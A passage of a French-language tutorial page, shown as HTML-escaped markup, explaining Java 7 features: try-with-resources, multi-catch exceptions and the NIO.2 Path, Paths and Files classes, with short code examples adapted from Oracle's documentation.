&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BufferedReader&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;br&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BufferedReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FileReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;br&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;readLine&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Extrait de &lt;a href="http://download.java.net/jdk7/docs/technotes/guides/language/try-with-resources.html"&gt;java.net&lt;/a&gt; contenant d&amp;rsquo;autres exemples intéressants (utilisant nio2).&lt;/p&gt;
&lt;h2&gt;Multi catch and rethrow&lt;/h2&gt;
&lt;p&gt;Java 7 permet de « catcher » (attraper) plusieurs exceptions dans un même bloc (&lt;a href="http://download.java.net/jdk7/docs/technotes/guides/language/catch-multiple.html"&gt;catch multiple&lt;/a&gt;). Ceci afin d&amp;rsquo;éviter de la redondance de code. Ce « catch multiples » se fait au moyen de l&amp;rsquo;opérateur &lt;code&gt;|&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Ce code, extrait de &lt;a href="http://download.java.net/jdk7/docs/technotes/guides/language/catch-multiple.html"&gt;java.net&lt;/a&gt;, est redondant:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SQLException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;hellip; avec le JDK7, on peut maintenant écrire:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SQLException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Le compilateur permet également une analyse plus fine et précise lorsque l&amp;rsquo;on relance des exceptions. &lt;a href="http://download.java.net/jdk7/docs/technotes/guides/language/catch-multiple.html"&gt;Lire, à ce sujet, l&amp;rsquo;exemple dans catch multiple and rethrow&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Java nio2&lt;/h2&gt;
&lt;p&gt;Java 6 avait vu apparaitre la classe &lt;code&gt;Console&lt;/code&gt;, Java 7 parle de NIO.2 (&lt;a href="http://download.oracle.com/javase/tutorial/essential/io/fileio.html"&gt;tutorial oracle&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Introduction des classes (ou interfaces) &lt;code&gt;Path&lt;/code&gt;, &lt;code&gt;Paths&lt;/code&gt;, &lt;code&gt;Files&lt;/code&gt;, &lt;code&gt;FileSystems&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Interface Path&lt;/h3&gt;
&lt;p&gt;L&amp;rsquo;interface &lt;code&gt;Path&lt;/code&gt; permet de représenter un chemin dans le file system.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Là où l&amp;rsquo;on utilisait la classe &lt;code&gt;File&lt;/code&gt;, on utilisera &lt;code&gt;Path&lt;/code&gt; (pour mettre à jour du code existant, on peut utiliser la méthode statique &lt;code&gt;File.toPath&lt;/code&gt;).Un path n&amp;rsquo;est pas indépendant du file system (on ne compare pas un path MS Windows avec un path Linux (ou Solaris)). C&amp;rsquo;est la classe utilitaire &lt;code&gt;Paths&lt;/code&gt; (notez le &amp;lsquo;s&amp;rsquo;) qui permet d&amp;rsquo;instancier un path.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Par exemple (&lt;a href="http://download.oracle.com/javase/tutorial/essential/io/pathOps.html"&gt;extraits de tutoriel oracle&lt;/a&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Paths&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/tmp/foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Paths&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Paths&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;URI&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;file:///Users/joe/FileTest.java&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="c1"&gt;// get method is shorthand for&lt;/span&gt;
&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FileSystems&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDefault&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getPath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/users/sally&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Paths&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;user.home&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;logs&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;foo.log&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Un path offre tout une série de méthodes; &lt;code&gt;path.toString()&lt;/code&gt;, &lt;code&gt;path.getFileName()&lt;/code&gt;, &lt;code&gt;getName(0)&lt;/code&gt;, &lt;code&gt;getNameCount()&lt;/code&gt;, &lt;code&gt;path.subpath(0,2)&lt;/code&gt;, &lt;code&gt;path.getParent()&lt;/code&gt;, &lt;code&gt;path.getRoot()&lt;/code&gt;, &lt;code&gt;path.toURI()&lt;/code&gt;, &lt;code&gt;path.toAbsolutePath()&lt;/code&gt;, etc.&lt;/p&gt;
&lt;h3&gt;Classe utilitaire Files&lt;/h3&gt;
&lt;p&gt;Une classe utilitaire permettant de supprimer, copier… manipuler des fichiers et répertoires.&lt;/p&gt;
&lt;p&gt;Au niveau des exceptions, il est conseillé d&amp;rsquo;utiliser le &lt;em&gt;try with resources&lt;/em&gt; puisque la plupart des flux sont des ressources (pour rappel, un flux est une ressource si il implémente &lt;em&gt;Closeable&lt;/em&gt; ou &lt;em&gt;AutoCloseable&lt;/em&gt; et il pourra être automatiquement fermé).&lt;/p&gt;
&lt;p&gt;De plus certaines &lt;code&gt;IOException&lt;/code&gt; générées lors de la manipulation des flux héritent de &lt;code&gt;FileSystemException&lt;/code&gt; (&lt;code&gt;FileNotFoundException&lt;/code&gt; par exemple). Et cette exception propose des méthodes (&lt;code&gt;getFile&lt;/code&gt;, &lt;code&gt;getReason&lt;/code&gt;) sur le fichier source de l&amp;rsquo;exception. On pourra écrire :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(...)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NoSuchFileException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%s does not exist&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getFile&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;La classe &lt;code&gt;Files&lt;/code&gt; permet, par exemple, de déplacer un fichier. De plus la méthode &lt;em&gt;move&lt;/em&gt; de la classe &lt;code&gt;Files&lt;/code&gt; peut recevoir des options sous forme de &lt;em&gt;varargs&lt;/em&gt;. L&amp;rsquo;une de ces options permet de déplacer le fichier de manière atomique. Pratique dans une application multithreads par exemple, ou si plusieurs applications sont susceptibles d&amp;rsquo;utiliser la même ressource.&lt;/p&gt;
&lt;p&gt;On peut déplacer un fichier en écrivant (&lt;a href="http://download.oracle.com/javase/tutorial/essential/io/fileOps.html"&gt;extrait de oracle&lt;/a&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Paths&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/tmp/foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Paths&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/tmp/bar&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Files&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;move&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;StandardCopyOption&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;REPLACE_EXISTING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;StandardCopyOption&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ATOMIC_MOVE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;NIO.2 ajoute la notion de &lt;strong&gt;glob&lt;/strong&gt; qui est simplement la notion de &lt;em&gt;wildcards&lt;/em&gt; du shell. Si je veux écrire un &lt;code&gt;ls&lt;/code&gt; (lister le contenu d&amp;rsquo;un répertoire), je peux soit tout lister soit ajouter un glob, un wildcard pour ne sélectionner qu&amp;rsquo;une partie des fichiers/répertoires que je liste.&lt;/p&gt;
&lt;p&gt;Par exemple (essayer avec et sans le paramètre *.java) :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.nio.file.Path&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.nio.file.Paths&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.nio.file.DirectoryStream&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.nio.file.Files&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Ls&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Paths&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DirectoryStream&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Files&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;newDirectoryStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;*.java&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Path: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IOException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Exception: &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;C&amp;rsquo;est également la classe &lt;code&gt;Files&lt;/code&gt; qui permettra d&amp;rsquo;obtenir des métadonnées au sujet des fichiers… toujours par l&amp;rsquo;intermédiaire d&amp;rsquo;un path. Par exemple; &lt;code&gt;Files.size(path)&lt;/code&gt;, &lt;code&gt;Files.isHidden(path)&lt;/code&gt;…&lt;/p&gt;
&lt;p&gt;… ce qui n&amp;rsquo;est pas très efficace car il faudra accéder plusieurs fois au fichier. La classe &lt;code&gt;Files&lt;/code&gt; propose deux méthodes permettant d&amp;rsquo;accéder en une fois à plusieurs métadonnées.&lt;/p&gt;
&lt;p&gt;Dans l&amp;rsquo;exemple suivant, &amp;ldquo;*&amp;rdquo; veut dire toutes les métadonnées. (On peut se limiter à quelques unes comme présenté dans la javadoc)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.nio.file.Path&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.nio.file.Paths&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.nio.file.Files&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.util.Map&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ReadAttributes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
